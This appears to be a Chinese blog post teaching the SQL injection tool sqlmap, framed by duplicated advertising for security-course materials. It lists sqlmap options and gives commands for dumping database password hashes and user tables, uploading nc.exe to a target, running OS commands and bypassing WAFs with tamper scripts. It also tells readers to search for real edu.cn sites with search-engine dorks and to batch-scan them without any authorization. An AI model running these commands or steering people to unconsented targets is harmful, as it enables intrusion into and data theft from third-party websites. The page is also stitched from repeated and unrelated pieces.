最新黑客工具之sqlmap安装教程,超详细使用教程(附工具安装包)(1),2024年最新腾讯T2亲自教你

还有兄弟不知道网络安全面试可以提前刷题吗?费时一周整理的160+网络安全面试题,金九银十,做网络安全面试里的显眼包!

王岚嵚工程师面试题(附答案),只能帮兄弟们到这儿了!如果你能答对70%,找一个安全工作,问题不大。

对于有1-3年工作经验,想要跳槽的朋友来说,也是很好的温习资料!

【完整版领取方式在文末!!】

93道网络安全面试题

内容实在太多,不一一截图了

黑客学习资源推荐

最后给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

😝朋友们如果有需要的话,可以联系领取~

1️⃣零基础入门
① 学习路线

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

image

② 路线对应学习视频

同时每个成长路线对应的板块都有配套的视频提供:

image-20231025112050764

2️⃣视频配套工具&国内外网安书籍、文档
① 工具

② 视频

image1

③ 书籍

image2

资源较为敏感,未展示全面,需要的最下面获取

在这里插入图片描述在这里插入图片描述

② 简历模板

在这里插入图片描述

因篇幅有限,资料较为敏感仅展示部分资料,添加上方即可获取👆

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化资料的朋友,可以点击这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

优化

这些选项可用于优化sqlmap性能​​​​​​​

-o               打开所有的优化开关
--predict-output    预测普通查询输出
--keep-alive        使用持久HTTP(S)连接
--null-connection   获取页面长度
--threads=THREADS   当前http(s)最大请求数 (默认 1)
注入

这些选项可用于指定要测试的参数、提供自定义注入有效载荷和可选的篡改脚本​​​​​​​

 -p TESTPARAMETER    可测试的参数
   --skip=SKIP         跳过对给定参数的测试
   --skip-static       跳过测试不显示为动态的参数
   --param-exclude=..  使用正则表达式排除参数进行测试(e.g. "ses")
   --dbms=DBMS         强制后端的DBMS为此值
   --dbms-cred=DBMS..  DBMS认证凭证(user:password)
   --os=OS            强制后端的DBMS操作系统为这个值
   --invalid-bignum    使用大数字使值无效
   --invalid-logical   使用逻辑操作使值无效
   --invalid-string    使用随机字符串使值无效
   --no-cast          关闭有效载荷铸造机制
   --no-escape         关闭字符串逃逸机制
   --prefix=PREFIX     注入payload字符串前缀
   --suffix=SUFFIX     注入payload字符串后缀
   --tamper=TAMPER   使用给定的脚本篡改注入数据
检测

这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容​​​​​​​

 --level=LEVEL     执行测试的等级(1-5,默认为1)
   --risk=RISK       执行测试的风险(0-3,默认为1)
   --string=STRING    查询时有效时在页面匹配字符串
   --not-string=NOT..  当查询求值为无效时匹配的字符串
   --regexp=REGEXP     查询时有效时在页面匹配正则表达式
   --code=CODE       当查询求值为True时匹配的HTTP代码
   --text-only        仅基于在文本内容比较网页
   --titles           仅根据他们的标题进行比较
技巧

这些选项可用于调整具体的SQL注入测试​​​​​​​

  --technique=TECH    SQL注入技术测试(默认BEUST)
   --time-sec=TIMESEC  DBMS响应的延迟时间(默认为5秒)
   --union-cols=UCOLS  定列范围用于测试UNION查询注入
   --union-char=UCHAR  暴力猜测列的字符数
   --union-from=UFROM  SQL注入UNION查询使用的格式
   --dns-domain=DNS..  DNS泄露攻击使用的域名
   --second-order=S..  URL搜索产生的结果页面
指纹
-f, --fingerprint   执行广泛的DBMS版本指纹检查
枚举

这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行自定义的SQL语句​​​​​​​

-a, --all           获取所有信息
   -b, --banner        获取数据库管理系统的标识
   --current-user      获取数据库管理系统当前用户
   --current-db        获取数据库管理系统当前数据库
    --hostname         获取数据库服务器的主机名称
   --is-dba            检测DBMS当前用户是否DBA
   --users             枚举数据库管理系统用户
   --passwords         枚举数据库管理系统用户密码哈希
   --privileges        枚举数据库管理系统用户的权限
   --roles            枚举数据库管理系统用户的角色
   --dbs             枚举数据库管理系统数据库
   --tables            枚举的DBMS数据库中的表
   --columns          枚举DBMS数据库表列
   --schema            枚举数据库架构
   --count             检索表的项目数,有时候用户只想获取表中的数据个数而不是具体的内容,那么就可以使用这个参数:sqlmap.py -u url --count -D testdb
   --dump            转储数据库表项
    --dump-all          转储数据库所有表项
   --search           搜索列(S),表(S)和/或数据库名称(S)
   --comments          获取DBMS注释
   -D DB               要进行枚举的指定数据库名
   -T TBL              DBMS数据库表枚举
   -C COL             DBMS数据库表列枚举
   -X EXCLUDECOL     DBMS数据库表不进行枚举
   -U USER           用来进行枚举的数据库用户
   --exclude-sysdbs    枚举表时排除系统数据库
   --pivot-column=P..  Pivot columnname
   --where=DUMPWHERE   Use WHEREcondition while table dumping
   --start=LIMITSTART  获取第一个查询输出数据位置
   --stop=LIMITSTOP   获取最后查询的输出数据
   --first=FIRSTCHAR   第一个查询输出字的字符获取
   --last=LASTCHAR    最后查询的输出字字符获取
   --sql-query=QUERY   要执行的SQL语句
   --sql-shell         提示交互式SQL的shell
   --sql-file=SQLFILE  要执行的SQL文件
暴力

这些选项可以被用来运行暴力检查​​​​​​​

 --common-tables     检查存在共同表
   --common-columns    检查存在共同
用户自定义函数注入

这些选项可以用来创建用户自定义函数​​​​​​​

  --udf-inject    注入用户自定义函数
   --shared-lib=SHLIB  共享库的本地路径
访问文件系统

这些选项可以被用来访问后端数据库管理系统的底层文件系统​​​​​​​

  --file-read=RFILE   从后端的数据库管理系统文件系统读取文件,SQL Server2005中读取二进制文件example.exe:
sqlmap.py -u"http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther"--file-read "C:/example.exe" -v 1
   --file-write=WFILE  编辑后端的数据库管理系统文件系统上的本地文件
   --file-dest=DFILE   后端的数据库管理系统写入文件的绝对路径

在kali中将/software/nc.exe文件上传到C:/WINDOWS/Temp下:

python sqlmap.py -u"http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write"/software/nc.exe" --file-dest “C:/WINDOWS/Temp/nc.exe” -v1

操作系统访问

这些选项可以用于访问后端数据库管理系统的底层操作系统​​​​​​​

--os-cmd=OSCMD   执行操作系统命令(OSCMD)
   --os-shell          交互式的操作系统的shell
   --os-pwn          获取一个OOB shell,meterpreter或VNC
   --os-smbrelay       一键获取一个OOBshell,meterpreter或VNC
   --os-bof           存储过程缓冲区溢出利用
   --priv-esc          数据库进程用户权限提升
   --msf-path=MSFPATH  MetasploitFramework本地的安装路径
   --tmp-path=TMPPATH  远程临时文件目录的绝对路径

linux查看当前用户命令:

sqlmap.py -u"http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --os-cmd id -v1

Windows注册表访问

这些选项可以被用来访问后端数据库管理系统Windows注册表​​​​​​​

 --reg-read          读一个Windows注册表项值
   --reg-add           写一个Windows注册表项值数据
   --reg-del           删除Windows注册表键值
   --reg-key=REGKEY    Windows注册表键
   --reg-value=REGVAL  Windows注册表项值
   --reg-data=REGDATA  Windows注册表键值数据
   --reg-type=REGTYPE  Windows注册表项值类型
一般选项

这些选项可以用来设置一些一般的工作参数​​​​​​​

 -s SESSIONFILE     保存和恢复检索会话文件的所有数据
   -t TRAFFICFILE      记录所有HTTP流量到一个文本文件中
   --batch            从不询问用户输入,使用所有默认配置。
   --binary-fields=..  结果字段具有二进制值(e.g."digest")
   --charset=CHARSET   强制字符编码
   --crawl=CRAWLDEPTH  从目标URL爬行网站
   --crawl-exclude=..  正则表达式从爬行页中排除
   --csv-del=CSVDEL    限定使用CSV输出 (default",")
   --dump-format=DU..  转储数据格式(CSV(default), HTML or SQLITE)
   --eta              显示每个输出的预计到达时间
   --flush-session     刷新当前目标的会话文件
   --forms           解析和测试目标URL表单
    --fresh-queries     忽略在会话文件中存储的查询结果
   --hex             使用DBMS Hex函数数据检索
   --output-dir=OUT..  自定义输出目录路径
   --parse-errors      解析和显示响应数据库错误信息
   --save=SAVECONFIG   保存选项到INI配置文件
   --scope=SCOPE    从提供的代理日志中使用正则表达式过滤目标
   --test-filter=TE..  选择测试的有效载荷和/或标题(e.g. ROW)
   --test-skip=TEST..  跳过试验载荷和/或标题(e.g.BENCHMARK)
   --update            更新sqlmap
其他​​​​​​​
  -z MNEMONICS        使用短记忆法 (e.g."flu,bat,ban,tec=EU")
   --alert=ALERT       发现SQL注入时,运行主机操作系统命令
   --answers=ANSWERS   当希望sqlmap提出输入时,自动输入自己想要的答案(e.g. "quit=N,follow=N"),例如:sqlmap.py -u"http://192.168.22.128/get_int.php?id=1"--technique=E--answers="extending=N" --batch
   --beep    发现sql注入时,发出蜂鸣声。
   --cleanup     清除sqlmap注入时在DBMS中产生的udf与表。
   --dependencies      Check formissing (non-core) sqlmap dependencies
   --disable-coloring  默认彩色输出,禁掉彩色输出。
   --gpage=GOOGLEPAGE 使用前100个URL地址作为注入测试,结合此选项,可以指定页面的URL测试
   --identify-waf      进行WAF/IPS/IDS保护测试,目前大约支持30种产品的识别
   --mobile     有时服务端只接收移动端的访问,此时可以设定一个手机的User-Agent来模仿手机登陆。
   --offline           Work inoffline mode (only use session data)
   --purge-output     从输出目录安全删除所有内容,有时需要删除结果文件,而不被恢复,可以使用此参数,原有文件将会被随机的一些文件覆盖。
   --skip-waf           跳过WAF/IPS / IDS启发式检测保护
   --smart            进行积极的启发式测试,快速判断为注入的报错点进行注入
   --sqlmap-shell      互动提示一个sqlmapshell
   --tmp-dir=TMPDIR    用于存储临时文件的本地目录
   --web-root=WEBROOT  Web服务器的文档根目录(e.g."/var/www")
   --wizard   新手用户简单的向导使用,可以一步一步教你如何输入针对目标注入

三、实际利用

检测和利用SQL注入

1.手工判断是否存在漏洞

对动态网页进行安全审计,通过接受动态用户提供的GET、POST、Cookie参数值、User-Agent请求头。

原始网页:http://192.168.136.131/sqlmap/mysql/get_int.php?id=1

构造url1:http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=1

构造url2:http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=2

如果url1访问结果跟原始网页一致,而url2跟原始网页不一致,有出错信息或者显示内容不一致,则证明存在SQL注入。

  1. sqlmap自动检测

检测语法:sqlmap.py -u http://192.168.136.131/sqlmap/mysql/get_int.php?id=1

技巧:在实际检测过程中,sqlmap会不停的询问,需要手工输入Y/N来进行下一步操作,可以使用参数“–batch”命令来自动答复和判断。

  1. 寻找和判断实例

通过百度对“inurl:news.asp?id=site:edu.cn”、“inurl:news.php?id= site:edu.cn”、“inurl:news.aspx?id=site:edu.cn”进行搜索,搜索news.php/asp/aspx,站点为edu.cn,如图1所示。随机打开一个网页搜索结果,如图所示,如果能够正常访问,则复制该URL地址

搜索目标

测试网页能否正常访问

将该url使用sqlmap进行注入测试,如图3所示,测试结果可能存在SQL注入,也可能不存在SQL注入,存在则可以进行数据库名称,数据库表以及数据的操作。本例中是不存在SQL注入漏洞

检测URL地址是否存在漏洞

  1. 批量检测

将目标url搜集并整理为txt文件,如图4所示,所有文件都保存为tg.txt,然后使用“sqlmap.py-m tg.txt”,注意tg.txt跟sqlmap在同一个目录下

批量整理目标地址

直接连接数据库

sqlmap.py -d"mysql://admin:admin@192.168.21.17:3306/testdb" -f --banner --dbs--users

数据库相关操作

1.列数据库信息:–dbs

2.web当前使用的数据库–current-db

3.web数据库使用账户–current-user

4.列出sqlserver所有用户 --users

5.数据库账户与密码 --passwords

6.指定库名列出所有表  -D database --tables

-D:指定数据库名称

7.指定库名表名列出所有字段 -D antian365-T admin --columns

-T:指定要列出字段的表

8.指定库名表名字段dump出指定字段

-D secbang_com -T admin -C  id,password ,username --dump

-D antian365 -T userb -C"email,Username,userpassword" --dump

可加双引号,也可不加双引号。

9.导出多少条数据

-D tourdata -T userb -C"email,Username,userpassword" --start 1 --stop 10 --dump

参数:

–start:指定开始的行

–stop:指定结束的行

此条命令的含义为:导出数据库tourdata中的表userb中的字段(email,Username,userpassword)中的第1到第10行的数据内容

四、SQLMAP实用技巧

1. mysql的注释方法进行绕过WAF进行SQL注入

(1)修改C:\Python27\sqlmap\tamper\halfversionedmorekeywords.py

return match.group().replace(word,“/*!0%s” % word) 为:

return match.group().replace(word,“/*!50000%s*/” % word)

(2)修改C:\Python27\sqlmap\xml\queries.xml

为:

<castquery=“convert(%s,CHAR)”/>

(3)使用sqlmap进行注入测试

sqlmap.py -u"http://**.com/detail.php? id=16" –tamper “halfversionedmorekeywords.py”

其它绕过waf脚本方法:

sqlmap.py-u “http://192.168.136.131/sqlmap/mysql/get_int.php?id=1” --tampertamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3

(4)tamper目录下文件具体含义:​​​​​​​

space2comment.py用/**/代替空格
apostrophemask.py用utf8代替引号
equaltolike.pylike代替等号
space2dash.py 绕过过滤‘=’ 替换空格字符(”),(’–‘)后跟一个破折号注释,一个随机字符串和一个新行(’n’)
greatest.py 绕过过滤’>’ ,用GREATEST替换大于号。
space2hash.py空格替换为#号,随机字符串以及换行符
apostrophenullencode.py绕过过滤双引号,替换字符和双引号。
halfversionedmorekeywords.py当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论
space2morehash.py空格替换为 #号 以及更多随机字符串 换行符
appendnullbyte.py在有效负荷结束位置加载零字节字符编码
ifnull2ifisnull.py 绕过对IFNULL过滤,替换类似’IFNULL(A,B)’为’IF(ISNULL(A), B, A)’
space2mssqlblank.py(mssql)空格替换为其它空符号
base64encode.py 用base64编码替换
space2mssqlhash.py 替换空格
modsecurityversioned.py过滤空格,包含完整的查询版本注释
space2mysqlblank.py 空格替换其它空白符号(mysql)
between.py用between替换大于号(>)
space2mysqldash.py替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)
multiplespaces.py围绕SQL关键字添加多个空格
space2plus.py用+替换空格
bluecoat.py代替空格字符后与一个有效的随机空白字符的SQL语句,然后替换=为like
nonrecursivereplacement.py双重查询语句,取代SQL关键字
space2randomblank.py代替空格字符(“”)从一个随机的空白字符可选字符的有效集
sp_password.py追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾
chardoubleencode.py双url编码(不处理以编码的)
unionalltounion.py替换UNION ALLSELECT UNION SELECT
charencode.py url编码
randomcase.py随机大小写



还有兄弟不知道网络安全面试可以提前刷题吗?费时一周整理的160+网络安全面试题,金九银十,做网络安全面试里的显眼包!


王岚嵚工程师面试题(附答案),只能帮兄弟们到这儿了!如果你能答对70%,找一个安全工作,问题不大。


对于有1-3年工作经验,想要跳槽的朋友来说,也是很好的温习资料!


【完整版领取方式在文末!!】


***93道网络安全面试题***


![](https://img-blog.csdnimg.cn/img_convert/6679c89ccd849f9504c48bb02882ef8d.png)








![](https://img-blog.csdnimg.cn/img_convert/07ce1a919614bde78921fb2f8ddf0c2f.png)





![](https://img-blog.csdnimg.cn/img_convert/44238619c3ba2d672b5b8dc4a529b01d.png)





内容实在太多,不一一截图了


### 黑客学习资源推荐


最后给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!


对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

#### 1️⃣零基础入门


##### ① 学习路线


对于从来没有接触过网络安全的同学,我们帮你准备了详细的**学习成长路线图**。可以说是**最科学最系统的学习路线**,大家跟着这个大的方向学习准没问题。


![image](https://img-blog.csdnimg.cn/img_convert/acb3c4714e29498573a58a3c79c775da.gif#pic_center)


##### ② 路线对应学习视频


同时每个成长路线对应的板块都有配套的视频提供:


![image-20231025112050764](https://img-blog.csdnimg.cn/874ad4fd3dbe4f6bb3bff17885655014.png#pic_center)

**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**

**[需要这份系统化资料的朋友,可以点击这里获取](https://bbs.csdn.net/forums/4f45ff00ff254613a03fab5e56a57acb)**

**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**

  • 8
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
安装sqlmap的步骤如下: 1. 首先,确保你已经安装了Python 2.7.18版本。你可以从官方网站下载安装包:https://www.python.org/downloads/。在安装过程中,记得勾选“Add python.exe to Path”选项,这样就不需要手动添加环境变量了。安装完成后,重启系统并打开命令提示符(cmd),输入"python"命令,确认Python是否成功安装。 2. 下载sqlmap。你可以从官方网站下载sqlmap安装包:http://sqlmap.org/。将下载的文件解压到一个文件夹中,例如"sqlmap",然后将该文件夹复制到Python的安装目录下,比如"D:\Python2"。 3. 在桌面上创建一个cmd的快捷方式,并将其命名为"sqlmap"。右键点击该快捷方式,选择"属性",将"起始位置"修改为"D:\Python2\sqlmap",然后点击确定。 4. 双击刚刚创建的快捷方式,输入"python sqlmap.py -h"命令,如果出现相关信息,则表示安装成功。 以上是sqlmap安装教程安装完成后,你可以使用不同的命令来进行注入测试。例如,使用"python sqlmap.py -u url"命令来检测注入点,使用"python sqlmap.py -u url --tables --purge"命令来列出所有表,使用"python sqlmap.py -u url --columns -T 'column_name'"命令来获取指定表的列名,使用"python sqlmap.py -u url --dump -C 'username,password' -T 'users'"命令来获取指定表的列字段内容等等。你还可以使用"-h"选项来查看更多的命令帮助信息。\[1\]\[2\]\[3\] #### 引用[.reference_title] - *1* *2* *3* [sqlmap安装与使用](https://blog.csdn.net/qz362228/article/details/126317610)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值